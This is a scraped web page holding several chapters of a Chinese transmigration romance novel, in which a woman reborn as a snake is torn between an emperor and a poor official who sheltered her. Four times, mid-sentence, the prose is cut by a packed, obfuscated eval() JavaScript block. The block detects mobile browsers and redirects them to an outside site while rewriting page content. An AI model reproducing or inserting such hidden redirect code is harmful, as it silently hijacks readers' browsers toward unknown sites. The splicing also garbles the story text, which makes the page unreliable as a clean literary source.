小蛇盘踞在他温热的掌中,竟低下头,用冰凉的蛇信轻轻舔了舔他的指腹,带着些微痒意,仿佛在道歉,又像是亲昵的问候。 程文寺心中的空落瞬间被填满。 他仔细查看它,发现它腹部原本包扎的布条已不见踪影,更奇的是,那道伤口竟也消失无踪,腹部光滑完整,丝毫看不出受过伤。 “恢复得真快。”他指尖轻抚过那处,低叹,“不到一日,竟连伤痕都寻不见了。” 他眼中虽有讶异,却并无深究的狐疑。于他而言,它平安归来,远比这蹊跷的愈合更重要。 程文寺专注检查时,谢冬瑗却望着他出神。 湿发黑如鸦羽,贴在他清俊的颊边与颈侧,水珠沿着明晰的下颌线滚落,没入锁骨之下的水面。热气熏得他眼睫微湿,眸光显得比平日更温润,少了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922913|192639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分官场上的清冷自持,多了居家的柔和。 她在朝上见过他许多次,却从未发觉他这般好看。这是一种清寂又温润的好看,在文武百官中独有一份气质。 不愧是探花郎啊。眉目如画,身材养眼,会做饭,会照料小动物,私生活干净,性子温和。 简直是照着她心中完美男友的模子刻出来的。 真想把他带回现代啊,她那么有钱,养他绰绰有余。 可惜,她不能。 若想回去,终究得回到周清玄身边。而若要回到周清玄身边,她便不能再与程文寺相伴。 对不起了,程文寺。她在心中默念,目光描摹着他湿润的眉眼。 终究不能长久陪在你身边。 - 五日后。 相比谢冬瑗享受着美男照料的日子,皇宫之中却已是一片水深火热。 为了寻回那条失踪的小蛇,周清玄将金吾卫尽数派出,几乎翻遍了宫墙内的每一寸土地。 砖石被撬起,花木被移开,连池水都派人反复打捞。宫门紧闭,所有留在宫中的人,无论宫女内侍还是侍卫,皆被一一盘问。 稍有疑点者,即刻押入天牢严加审问,甚至连那日上朝的官员也未能幸免,散朝后仍被留在偏殿,由金吾卫细细查过才放行。 尽管如此,五天的时间过去了,小蛇还是未能找到。 天子的怒火,如黑云压城沉甸甸地笼罩着整座宫廷。朝臣间怨言暗涌,却无一人敢在御前上奏,劝天子莫为了一条玩如此兴师动众搅乱宫闱。 所有人都噤若寒蝉,行走在皇宫中皆提着心,生怕那滔天怒意一个不顺,便溅落到自己头上。 周朝立国已有五百年之久,谁不知周氏皇族易出疯子,一代较一代更为偏执。并非无人反抗,只是下场往往惨烈至极,祸及自身不算,更要累及满门亲族。 如今,众人只盼那条小蛇早日被寻回,结束这令人窒息的日子。 夜色渐浓,久未亮起的神宫破例点燃了灯火。整座古朴沉寂的楼阁仿佛骤然苏醒,睁开了明亮的眼睛。 年轻的帝王独坐窗边,寂寥的晚风撩起他额前碎发。他面色阴郁,眼底因连日的失眠而布满血丝。 半晌,他闭上眼,再睁开时,眸中翻涌的情绪已被强行压了下去,只剩一片暗沉沉的平静。 “神官,”他开口,声音有些沙哑,“她还能找到么?” 身后,戴着铜金色面具的神官微微躬身。面具上眼眶处只是两个空洞的黑窟窿,即便凑近细看,也窥不见其后丝毫目光。“陛下,”他的声音平稳无波,“她既来自神山,便与山灵有着天然牵系。只需陛下赐予宝贵的龙血,臣便有法,助陛下寻得她的踪迹。” 周清玄静默片刻。 “准。” 一旁抱臂而立的周清城闻言,立刻拧起了眉,毫不掩饰脸上的嫌恶。 他自幼便不喜这位神官。 昔年父皇对神官十分信任,甚至告诫众皇子不可冒犯。他曾因宫宴蹴鞠,失脚将球踢到神官身上,父皇竟当场震怒,罚他二十廷杖,三年不许碰蹴鞠。 自此,这神官在他眼中,便是个装神弄鬼,蛊惑君心的晦气人物。 银盏被奉上,锋利的匕首划过帝王掌心。殷红的血珠接连滴入星盘之中。 周清玄的脸色随着血液的流失愈显苍白,唇上最后一点血色也褪尽了。 眼看着那小半碗血快要盈满,周清城终于按捺不住,上前一步低喝:“够了!这都有半碗了,还要多少?” 神官头也未抬,只淡淡道:“不够。” “你!”周清城气结。 他既劝不动心如铁石的皇兄,又动不得这深受信赖的神官,满腔憋闷无处发泄,只能狠狠攥紧了拳头。 最后一滴血落入星盘。 霎时间,星盘上黯淡的纹路仿佛被注入了生命,泛起幽幽微光。中央的指针开始自行缓缓转动,最终,颤颤地停在了绘有都城详图的某一点上。 南市。 神官直起身,面向帝王,姿态依旧恭敬。 “陛下,找到她了。” 14. 第 14 章 薄阴的天空刚泛起鱼肚白,一身蓝衣的青年便拿着一捆粗绳和斧子,轻掩上了院子的木门。 晨风微凉,拂过他额前几缕墨黑的发丝,他下意识地捂住胸口衣襟处,在摸到柔软的条状物时,他的心安定了下来。 “小寺,又是去山上砍柴啊!”包子铺的徐婶掀开蒸笼,热气裹着面香扑面而来。她麻利地包好两个包子和一张葱饼,递到程文寺手中,“都当上大官的人了,做事还这么亲力亲为。哪像我那儿子,成天懒洋洋的,啥也做不成哟!” 程文寺接过温热的纸包,只是微微弯起唇角,没有多解释什么。“多谢徐婶。”他的声音温和清润,像这清晨尚未散尽的露水。 山间的晨雾还未退尽,湿漉漉地缠绕在林叶之间。程文寺一步一步踩在松软的土地上,草尖的露珠滚落,悄然浸湿了他的靴面,染上一圈深色的泥痕。 走到平日惯常歇脚的山腰处,他将绳子和斧头搁在地上,从怀里小心捧出那条仍在酣睡的小青蛇,轻轻放在一旁平滑的石面上。 “答应过你,等伤好了,就带你出来看看。”他低声说道,指尖在小蛇冰凉的鳞片上顿了顿,“山中清静,你应该会喜欢。若是想留下便去吧。” 小蛇迷迷糊糊睁开眼,碧绿瞳里映出陌生的山林景致。它昂起头,疑惑地望向他,似乎不明白他为何将自己带到这里,又说这样的话。 程文寺却没有再解释。他向来如此,认定了该做的事,便静静去做,很少向人剖白缘由。 男人选了一棵枝干遒劲的老树,抡起斧子。木屑随着一下又一下的劈砍飞溅开来,声响惊起了不远处枝头的山雀。 谢冬瑗打了个小小的哈欠,盘在石上打量四周。郁郁葱葱的林木,远处隐约的溪涧声,空气中飘着泥土与落叶混合的气息。 程文寺方才的话她听懂了,他以为她不过是条寻常小蛇,偶然被贵人豢养,如今好心送她回归山林。 心意是好的,只可惜她并非真的渴望自由。她要回的是皇宫,是那个能让她找到归途的地方。 明天程文寺便要结束休沐,重新穿上那身深青官服上朝,那是她返回宫中的最好时机。 可是…… 皇宫里有吃不完的炙牛肉粒,有专为她准备的当季鲜果和铺着丝绸的软垫,还有宫女细心照料她的生活起居。 而程文寺家徒四壁,穷得叮当响,每天只有清粥白米饭,还有那吃不完的菜叶子,偶尔会来点肉沫。 为什么,她却更舍不得离开这里呢? 小蛇垂下脑袋,趴在冰凉的石头上一动不动。心里有个声音在提醒,别忘了最初的目的。 终究,她还是选择了回去。 比起眼前这份短暂的温暖,回到现代才是她真正的执念。 程文寺背对着她,手中的斧子一次次落下。从说出你走吧那几个字开始,胸口就堵着一股挥不散的郁气。他不敢回头,怕多看一眼,就会收回那句故作大方的话。 他从来不是圣人。他也想留下它,想让它陪在自己身边。可正因如此,他才更不能这样做。 它该属于更广阔的山林,而不是困在这简陋的茅檐下。 这份矛盾撕扯着他,只能借由一次次挥斧发泄。日头渐高,汗水沿着额角滑落,濡湿了鬓发,掌心被木柄磨得发红,身后的木柴已堆成小山,他却依然没有停下的意思。 直到一个细细软软的声音忽然响起: “小寺,我饿了。” 斧头骤然停在半空。 程文寺喘着气,缓缓转过头。石头上,小青蛇正仰着脑袋看他,又清清楚楚重复了一遍:“小寺,我饿了。” 他扔下斧子,几步跨到石头前蹲下,眼中闪过惊愕,随即漾开明亮的光芒。“你会说话?” “小寺,我饿了。”她第三次说道,尾巴尖轻轻拍了拍石面。 程文寺这才慌忙去翻早上的纸包,意识到手脏,又急急转身奔向不远处的溪涧。水流淙淙,他匆匆洗净手,用随身的水囊接了清冽的泉水,再跑回来时气息还有些不稳。 “这这这有包子,还有葱葱葱饼,水水水要不要喝,喝?” 他手足无措的模样,让谢冬瑗忍不住噗嗤的笑出声来。 “哈哈哈哈哈。”小青蛇在石面上扭来扭去,笑得鳞片都在轻颤。 程文寺就那样耐心等着,直到她笑够了,才听她说道:“我还以为你会当我是妖怪,要么吓跑,要么一斧子劈过来呢,看来你接受得挺快嘛。” 他将葱饼掰成小块递过去,小蛇一口衔住。程文寺神色渐渐平和下来:“说不惊讶是假的,这辈子头一回遇见会说话的蛇。不过捡到你那时,就知道你非同一般。这些日子你从未伤我,即便真是妖,也是心善的妖。” 他比她想象中还要温柔。谢冬瑗忽然觉得,那句告别更难说出口了。 罢了,反正是明天的事。再贪恋这一刻,也不为过吧? 她吃饱后,程文寺才就着泉水吃起已经微凉的包子。小蛇悄悄攀上他的肩头,冰凉的鳞片贴着他汗湿的脖颈。 “程文寺,”她忽然开口,“你既已立业,就没想过成家么?” 程文寺微微一愣。这个问题他并非没有想过,只是从未与人言说。 沉默片刻,他低声道:“从我决意要做个遵从本心的官那一刻起,便知道像我这样的人,注定亲缘淡薄,无妻无子。唯有这样,才不会被牵绊,也不会连累旁人。” 他垂着眼,睫毛轻轻颤了颤,那丝难以捕捉的脆弱,却让谢冬瑗心生怜悯。 她将身子贴得更紧了些,仿佛想借那点微凉的触感安慰他。 “你真的不留在山里吗?”程文寺轻声问。 “我想跟你回去。” “好,”他嘴角浮起很淡的笑意,“我们回家。” 饭后,程文寺利落地将木柴捆扎结实,背起那几乎是他两倍体积的柴垛,步伐稳健地朝山下走去。 谢冬瑗盘在他衣领间,悄悄想难怪他身形穿衣显瘦脱衣有肉,常年这般劳作,自然锻炼出一身好身材。 一切本该如此平静地延续下去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922914|192639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可天总不遂人愿,程文寺早前那句话,竟一语成谶。 还未走近巷口,便听见哭嚷与呵斥声混杂传来。程文寺脚步一顿,加快步伐转过巷角,眼前的景象让他的脸色瞬间沉了下去。 院门歪斜,篱笆散乱。邻居们瑟缩在墙角,赵屠夫额角带血,秦奶奶倒在地上气息微弱。 而院中,一群府兵持械而立,申成益正鼻孔撩天地坐在唯一完好的木凳上,脸上挂着得意的冷笑。 “总算让我等到你了。”申成益扬起下巴。 程文寺放下肩上的柴捆,目光扫过狼藉的院落,最终落在那张嚣张的脸上,声音寒如冬泉:“申都尉,程某自问从未主动与你为敌,即便你屡次针对,我也未曾报复。你受陛下责罚,是因你自身欺瞒,与我何干?堂堂都尉,心眼小如针孔便罢,竟连老人也不放过么?” 申成益黑脸涨红,猛地站起:“那是他们不识抬举!老子不过想逮你出口恶气,那老婆子就扑上来骂我龟孙子,府兵拉她她还死活要撞过来,怪得了谁?还有这些人,”他指着缩在一边的邻居,“看见我进你院子,一个个都不要命地拦着,自找的!” 赵屠夫的妻子此时冲了出来,啐了一口,指着申成益哭骂:“是他逼我们去官府作伪证,诬告程大人私德败坏!我们不肯画押,他就让府兵动手。这样的官,简直黑了心肝!” 申成益恼羞成怒,厉喝道:“把这泼妇拖去京兆府关上几天,看她嘴还硬不硬!” 两名府兵应声上前。程文寺却已横跨一步,拾起地上一根粗柴拦在路中:“有我在,谁也别想动他们一分。” “就凭你?”申成益嗤笑,“给我一起上!把这巷子里的人全押走!” 接下来的场面出乎所有人意料。这个平日温文尔雅的文官,仅凭一根木棍,竟将扑上来的府兵一个个挑翻在地。 棍风凌厉,步法沉稳,不过片刻工夫,七八名府兵已躺倒呻吟。申成益亲自上前,不出三招便被一棍扫中膝弯,踉跄跪地。 申成益终于怕了,带着人连滚爬出巷子。程文寺这才丢下木棍,扶起秦奶奶,又朝惊魂未定的邻人们深深一揖:“是程某连累各位了。” 他将秦奶奶送去医馆,垫付诊金后,又回来一一安抚受伤的邻居。再回到小院时,天色已近黄昏。 程文寺沉默地收拾着满地狼藉,动作缓慢得近乎滞重。上山背柴时不曾压弯的脊背,此刻却显出了疲惫。 “小寺,”衣襟间钻出小青蛇的脑袋,轻轻蹭了蹭他的下颌,“这不是你的错。是他们作恶多端。” 他弯腰拾起一片被踩碎的瓦罐,声音很轻:“不,是我的错。明知申成益心狭善妒,却未加防范,连累街坊受此无妄之灾。若我再晚归片刻……”他没有说下去,只抬起头,望着这座住了多年的小院,“是时候该搬走了。” 搬去无人相识的地方,至少,不会再牵连这些善良的人。 就在他俯身整理散乱柴堆时,巷口再度传来密集脚步声。竟是申成益去而复返,这一次,他身后跟着更多持刀的府兵。 15. 第 15 章 申成益第一次见到程文寺时,并非一眼就讨厌他。 那时他刚来皇城不久,在南巷口看见一个布衣青年手持竹条,将七八个地痞流氓打得抱头鼠窜。 那人竹条挥动时干净利落,最后一记收势,青衫衣摆微微扬起,竟有几分江湖侠客的洒脱。 申成益当时就动了心思,这样的身手,若是能收归己用,在这皇城站稳脚跟便多了几分把握。 他整了整刚得来的武官服,上前拱手笑道:“这位侠士好身手!在下申成益,新任北城都尉。不知可否赏脸喝杯茶,交个朋友?” 那青年转过身来,申成益这才看清他的模样。看起来不到二十的年纪,眉眼清朗,虽是布衣却自带一股书卷气,不像武夫倒像读书人。 青年将竹条随手靠在墙边,拍了拍手上的灰,语气平淡:“谢过阁下好意。只是程某走的道,和阁下走的道不太一样。” 说罢微微颔首,转身便走。 什么意思? 申成益愣在原地,咀嚼着这句话。待他回过味来,那青年已消失在巷子拐角。 午后的阳光刺眼,他眯起眼睛,心里窜起一股火气。 不过一个平民,也敢这样驳他的面子? 但他初来乍到,终究压下了火气。不过是个不识抬举的过客,他想。 直到半年后在大殿上,申成益作为武官代表列席,清晰的看见那新晋探花郎的模样。 程文寺。 原来当时他说的“道不一样”,是这个意思。 申成益的手都快将手中的酒杯捏碎。 文官清流,天子门生,走的是金光大道。而他这个靠谄媚爬上来的乡下武夫,在那些人眼里,恐怕走的真是歪门邪道。 从那天起,申成益就盯上了程文寺。但凡在官场场合遇见,总要寻些由头刁难。 可程文寺总是那副样子,不争不辩,不怒不恼,行礼问好一丝不苟,然后转身离开,留他一个人像拳头打在棉花上。 那股闷火在胸腔里日复一日地烧,越烧越旺。 而今日,程文寺还当着他府兵面前将打他了个屁滚尿流,他无论如何一定要狠狠地弄死他。 整死程文寺的计划在他心里盘了又盘。先打一顿,打残了拖到城外山里,挖个坑一埋,神不知鬼不觉。 至于南巷那些贱民嘛,谁家没老没小?刀子架在脖子上,看谁敢多嘴。 他在北城当恶霸惯了,这套法子百试百灵。可他忘了,这里是皇城根下,不是天高皇帝远的边陲小城。 第二次动手,申成益做足了准备。三十个府兵持棍带刀,还有十来个都尉府的官兵堵住了巷子两头。 暮色渐浓,巷子里安静得反常。 程文寺推开院门时,看见的就是这阵仗。 “程大人,”申成益坐在太师椅上,翘着腿,“咱们又见面了。” 程文寺目光扫过那些面孔,“申都尉这是何意?” “讨教。”申成益咧嘴一笑,“上次程大人指教得不错,申某想再讨教几招。” “给我上!” 府兵一拥而上。 然而冲在最前的两人捂着手腕惨叫。 程文寺身形极快,青衫在人群缝隙中穿梭,每一次木棍落下都有人倒地。 但他终究只有一个人。 棍棒从侧面扫来,他侧身避开,后背却结结实实挨了一记闷棍。 人越来越多。 手中木棍断了,他就夺过一根棍子继续打。右手指节在夺棍时擦掉了一层皮,血肉模糊,而左臂被刀锋划开一道口子,鲜血浸湿了衣袖。 可他始终护着胸口。 混乱中,没有人注意到,一条细小的绿影从程文寺衣襟里滑出,落地时悄无声息,借着阴影快速游走,直奔太师椅上的人。 “草!”申成益突然捂住脖子跳起来,“什么东西咬我?!” 他低头想看,视线却开始模糊。剧痛从脖颈瞬间蔓延到四肢百骸,皮肤下的青黑色以肉眼可见的速度扩散。 他想喊,喉咙里只发出嗬嗬的怪响,然后整个人直挺挺向后倒去。 “大人!” “都尉!” 府兵们愣了一瞬,随即乱作一团,全都扑向倒在地上的申成益。 程文寺撑着墙壁喘息,每呼吸一次胸口都火烧般疼。 他下意识去摸衣襟。 是空的。 心脏骤然一沉。 “小寺。” 细微的声音从颈后传来,冰凉柔软的触感贴着皮肤。小蛇不知何时已绕到他衣领后面,声音里透着兴奋:“我咬了他,他已中我蛇毒。快走,他们马上会反应过来。” 程文寺悬着的心重重落下。 他咬牙站直身子,趁着混乱扶墙往外挪。 没过一会,巷口忽然传来整齐划一的脚步声。 金色的甲胄在太阳光的照射下刺眼的夺目。一队金吾卫鱼贯而入,瞬间封锁了整条巷子。 为首的男子身形高大,眉眼凌厉如刀锋。 府兵们看清来人,瞬间跪了一地,额头抵着青石板,大气不敢出。 高阳王周清城。 他瞥了一眼地上全身青黑的申成益,眼中嫌恶毫不掩饰。再看这满巷狼藉持械的府兵,事情已经猜出七八分。 这个蠢货,他明明警告过,在皇城收敛点。 但申成益身上的青黑痕迹…… 周清城眯起眼睛。这颜色,这扩散方式,和当时咬伤他的那条蛇的毒,太像了。 “说。”周清城开口,声音不高,却压得人喘不过气,“这里发生了什么?” 离他最近的府兵哆嗦着回答:“回、回王爷……申都尉请程、程大人切磋武艺,然后不知怎的……” 周清城忽然伸手,拎着那府兵的领子将他整个人提起来,随手一甩。 府兵的身体砸在壁上,墙面裂开,那人软软滑落,血肉破碎,再无声息。 巷子里死一般寂静。 “本王再问一次。”周清城扫视全场,“实话。” 另一个府兵几乎趴在地上,声音颤抖:“申都尉是来报复程翰林,想他绑去山里活埋,不知被什么咬了就倒在地上醒不过来。” “程翰林,哪个程翰林?” “程文寺,程翰林大人。” “不认识。”周清城挑眉。 他对文官向来不上心,更别说这个小小翰林。 周清城虽为高阳王,护国大将军,却是一个从不上朝的随性之人。 按照他的话来说,他要是有什么事情直接和周清玄说了,何必惺惺作态的站在朝堂上,有那些时间,他还不如多训练一些兵。 金吾卫队列中忽然传来一人声。 “他在哪?”那声音问。 府兵指向巷子另一端:“程大人了受伤,往那边去了。” “阿城,找到他。” - “小寺,停下来,我有话对你说。” 程文寺脚步一顿,侧头看去,那条青蛇正从衣领间探出小小的脑袋。 程文寺环顾四周,他们已出了南巷,面前便是人声鼎沸的街市。申成益就算追来,也绝不敢在众目睽睽之下动手。 他略松一口气,转身走到茶馆外侧的墙根下,寻了处稍静的石阶坐下。小青蛇顺着他肩膀游下,缓缓盘进他摊开的掌心,忽然低下头,用蛇信轻轻舔舐他手上伤口。 程文寺怔住。那些翻开的皮肉竟以肉眼可见的速度愈合,身体上的疼痛感渐渐消去。 “是你在帮我疗伤?”程文寺轻声说,“谢谢你。” 谢冬瑗其实早就知道,自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922915|192639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的蛇毒能夺人性命,唾液却能治愈创伤。 就当作是这些天你照顾我的回报吧,程文寺。她在心里悄悄说。 “你想对我说什么?”程文寺望着她,目光温和。 小蛇却忽然不动了。那双碧色的眼瞳里浮起一层水光,接着,一滴泪滚落下来,正烫在他的掌心。 “怎么哭了?是不是我刚才跑得太急,让你难受了?”他有些无措,“对不起,是我没顾好你。” 小蛇的眼泪却掉得更凶。 “程文寺……”她声音哽咽,“我舍不得你,呜呜呜……” 她能感觉到王遗的气息正越来越近。 周清玄就要找到她了。 程文寺只当她是害怕申成益再来纠缠,便放柔了声音安慰:“别怕,明日上朝我自会向陛下禀明一切,他不会再伤害你。” 长街上的喧嚣不知何时低了下去。 远处传来整齐的脚步声,间或夹杂着金吾卫肃冷的盘问声。 他来了。 “程文寺,你听好我接下来要说的话。”小蛇甩开眼泪,吸了吸鼻子,“我叫谢冬瑗,这些天和你在一起,我真的很开心,也很喜欢待在你身边。” “可是,他现在来找我了,我得回到他那里去。” “要离开我吗?”程文寺垂下眼,长长的睫毛掩住了眸中的情绪,“他是谁?” “程文寺。” 一道平静而低缓的嗓音从前方响起。 程文寺抬眼,看见金吾卫已如黑潮般静立街中,一人端坐轮椅,缓缓自人墙后出现。 那人手指修长,轻轻搭在轮椅扶手上,骨节分明得近乎嶙峋。右手无名指戴着一枚碧色戒指,膝上覆着银狐裘毯。墨色绣金龙的袍服在他身上显得有些空荡,微风灌进袖口,仿佛要将那单薄的身子吹透。 他的脸苍白如纸,越发衬得眉眼深黑,一双深沉的眼中带着令人发寒的凉意。 “陛下?”程文寺愣了一瞬,随即伏身行礼,“臣参见陛下。” 周清玄的目光扫过程文寺的周身。 “她呢?” 程文寺跪在地上,眼中掠过一丝茫然的波动。 “木木,”周清玄的声音沉了半分,“出来。” 四下寂然。 “呵,”他忽然笑了一声,“离开我才几日,便认了新主,是吗,木木?” 程文寺背上一轻,小青蛇缓缓从他颈后游出,迟疑地,缓慢地,朝着轮椅上的男人挪去。 程文寺沉默地望着地面。 原来她要回去的人,是陛下。 周清玄俯身,苍白的指尖触到青蛇冰凉的身躯,将她轻轻托起。 小蛇软软地蜷在他掌心,脑袋低垂,不敢与他对视。 只一眼,周清玄便看出这条离家数日的小蛇,心思早已飘到了别人身上。怒意如暗火骤燃,他抬眼看向仍跪在那里的程文寺,嗓音里淬着讥谑: “朕从前倒未发觉,翰林有这般胆量。连朕的东西,也敢觊觎。” 程文寺没有辩解。 他的确,觊觎上了。 掌中小蛇仰起头,似乎想说什么,却被头顶恼怒的声音压回: “怎么,还想替他求情?” 她缩了缩脖子,默默闭紧了嘴。老虎炸毛的时候,还是别伸手去捋的好。 “将程文寺押入诏狱,听候发落。” 周清玄不再看他,只垂下眼帘,指尖有一搭没一搭地抚过小青蛇的脊背。 一旁静立的周清城望着被金吾卫押走的程文寺,同情起了这个男人,咂舌道: “真可怜,遇上那条蛇,注定是要被害的。” 程文寺始终低着头,无人看得清他此时的神情是悲是喜。 只有掌心那滴早已凉透的蛇泪,还隐隐残留着灼烫的温度。 16. 第 16 章 “事情……就是这样的。” 小蛇伏在黄锦软垫上,将自己如何在御花园受伤,如何昏迷中被程文寺拾回照料的过程细细说与周清玄听。 殿内燃烧着的烛火在微微晃动,在他低垂的眉眼间投下淡淡阴影。 她一面说,一面悄悄抬眼去觑他的神色。 周清玄只是不紧不慢地斟着茶,青瓷杯沿泛起白雾,仿佛她这一番话都散在了茶香里,未曾入他耳中。 “我原也想早日回来的,只是不敢确定程文寺是否会信一条蛇的话。”小蛇一点点游近,冰凉的鳞片轻轻贴着周清玄搁在案上的指尖,“世人皆畏异类,我若开口,被当作蛇妖处置了怎么办?” 她将湿润的鼻尖凑近,碰了碰他的指节,“那样,便再见不到周清玄了。” “是吗?”周清玄倏然抽回手,盏中茶水泛起涟漪。他抿了一口温茶,目光却未看向她,只淡淡道,“可朕看你,倒像很舍不得他。” 完犊子了。 自被他从宫外带回,这几日他几乎不与她说一句话。如今好不容易开口,字字却都淬着冰一样冷。 往日她稍撒娇弄痴,他纵有再大的气也消了。可这次不同,她能感到他那平静语气下暗涌的怒意。 周清玄是在意她的,她知道。即便她真犯了错,甚至喜欢上旁人,他最多不过将她关上一阵,气消了总还会心软。 可程文寺不一样。诏狱那地方,她不敢深想。 终究是她牵连了他,这祸端必须由她来了结。 殿中静寂得压抑,金猊香炉吐出的檀香丝丝缕缕,环绕在鼻尖让人闻着心中胸发闷。 恰在此时,宫女们捧着食案鱼贯而入。摆在小蛇面前的,正是她最爱的炙牛肉粒和新鲜草莓。 她望着那些食物,忽然心念一动。 小蛇几乎狼吞虎咽地吞下牛肉,又席卷了草莓,吃得太急,呛得不住咳嗽,细小的身子微微颤抖。 周清玄终于搁下筷子,伸手将她托起,指腹轻抚她脊背,语气缓了些:“急什么?想吃再让人做便是。” 小蛇咳出了眼泪,声音哽咽:“我在程文寺那儿每日只有白粥咸菜,梦里都是宫里的炙牛肉。如今总算吃到了”她蹭了蹭他的掌心,“还是周清玄的皇宫宫里好,想吃什么就吃什么。” 周清玄的手顿了顿。 “他对你不好?”他问,声音里听不出情绪。 见他态度似有松动,她忙顺着话道:“也说不上不好,只是他清贫,给不了锦衣玉食。连我睡的窝都是破布垫的,又硬又冷,哪比得上宫里的丝绸软垫舒服?” 周清玄指尖忽然挑起她的头,他俯身逼近,那双总是淡然的眸子此刻漆黑如深潭,倒映着她细细的身影。 “既然过得这般不好,”他缓缓开口,“为何舍不得他?” 谢冬瑗忽然感到一丝极细微的凉意,从王遗上的无数绿线蔓延而出,悄然缠绕上她的鳞片,撬开缝隙,钻入血肉。 那力量一直探到心脏处,如丝如缕地包裹上来,带着不容抗拒的意志。 是王遗,他在用王遗的力量逼她说真话。 “木木,”周清玄的声音低沉,“回答朕,为何舍不得离开他?” “我……”她张了张口,那些早已准备好的花言巧语却堵在喉间。只要稍想违心,心脏便如被针线穿刺般锐痛。 这就是王遗的神力。若有朝一日她真背叛了他,下场是否会像帝王冢的那些守山灵一样吗? 恐惧漫上心头,可另一个念头却更清晰,宋睿曾说过的,在法庭上面对刁钻质问时,真正的突破口往往不在于说谎,而在于找到一个真实的点,一个能让所有怀疑绕过去的支点。 她定了定神,抬起眼直视他。 “因为他长得好看,”小蛇的绵软,却清晰,“身材也好。” 缠绕在心脏的绿线微微一滞,缓缓退去。 周清玄静了片刻,忽然将她捧到与自己视线平齐处。 烛光在他轮廓分明的脸上流动,长睫下的眼眸如墨色琉璃,薄唇抿成一条淡漠的线,一种近乎脆感的冷峻。 “木木,”他开口,声音里有一丝难以察觉的波动,“那朕呢?朕好看么?” 若是往常,谢冬瑗早已甜言蜜语哄了上去。可方才被王遗强行侵入的怒意与屈辱还堵在心口,那些谄媚的话便怎么也吐不出来。 时间在平静中拖沓,她看见他眼底那点微光渐渐暗下去,最终归于一片深寂。 周清玄忽然松了手。 小蛇猝不及防摔在案上,虽不高,却仍撞得一阵眩晕。 “撤了。”他不再看她,声音冷澈,“福安,摆驾诏狱。” 这是他第一次如此粗暴地对她。谢冬瑗晃了晃昏沉的脑袋,待清醒过来,她却有些后悔刚才的举动。 她竟因一时情绪,毁了方才好不容易缓和的气氛。 那句诏狱是说给她听的。他要去见程文寺,而这意味着什么,她再清楚不过。 小寺,对不住,终究还是连累了你。 自与程文寺分别后,有什么东西在她心里悄悄变了。方才那一刻的意气用事,便是证据。 这很危险。 她曾是拿遍奖项的影后,能在镜头前完美演绎任何情绪,怎能在关键时刻被私情扰了心志? 不过几个呼吸间,谢冬瑗已敛尽所有波动。她缓缓游向床榻,钻进锦被深处,仿佛只是一条倦了的小蛇。 只有那双在暗处睁着的眼睛,清醒而冰冷。 她得重新谋划,在周清玄回来之前。 - 诏狱。 牢房中混杂着血腥、霉腐与排泄物的气息,光是吸几口气就让人想窒息。牢房的走道上只有栅栏外一盏油灯明明灭灭,勉强照亮角落草堆里那个端坐的身影。 那人穿着泛灰的囚服,背上已透出深浅不一的刑痕。可他的脊梁却依旧挺得笔直,身下草堆污秽凌乱,染着深褐的旧渍,但他坐在那里,竟像坐在翰林院洒满晨光的值房中,虽一身落魄,掩不住骨子里透出的清癯脱俗。 “臣程文寺,参见陛下。” 他伏身行礼,声音在密闭的牢室里清晰而沉稳。 抬头时,油灯的光恰好掠过他的脸。眉骨与鼻梁投下淡影,唇色淡白,唯独那双眼睛清明如月。那是张被牢狱磨去了血色,却反而愈发显得清绝的脸。 周清玄站在栅栏外,他没有立刻说话,只垂着眼,拇指缓缓摩挲着中指上一枚绿宝石戒指。戒面幽光流转,映着他眼底深潭似的看不透的暗。 “翰林。” 他终于开口,声音里带着几分疲倦,像常年积压的雪,又沉又冷。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933636|192639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “当年朕在金光殿阅卷,第一眼便看中了你的文章,那笔锋如刀,字字见骨,却又藏着悲悯。后来殿试相见,见文章如见人,果然没有让朕失望。” 程文寺静静听着,呼吸轻缓如常,只有垂在身侧的手指几不可察地弯曲。 